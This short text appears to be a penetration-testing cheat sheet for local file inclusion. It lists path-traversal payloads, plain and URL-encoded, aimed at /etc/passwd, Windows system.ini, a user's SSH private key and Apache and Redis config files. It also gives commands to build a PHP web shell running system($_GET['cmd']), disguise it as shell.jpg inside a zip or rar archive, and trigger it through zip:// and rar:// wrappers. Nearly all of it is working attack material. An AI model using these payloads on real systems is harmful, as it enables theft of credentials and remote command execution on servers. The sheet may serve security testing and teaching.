LFI
../../../../../../../../etc/passwd
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
../../../../../../../../windows/system.ini
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem.ini
../../../../../../../../home/user/.ssh/id_rsa
/etc/apache2/sites-enabled/000-default.conf
/etc/redis/redis.conf
zip:// and rar://
Upload a Zip or Rar file with a PHPShell inside and access it.
In order to be able to abuse the rar protocol it need to be specifically activated.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php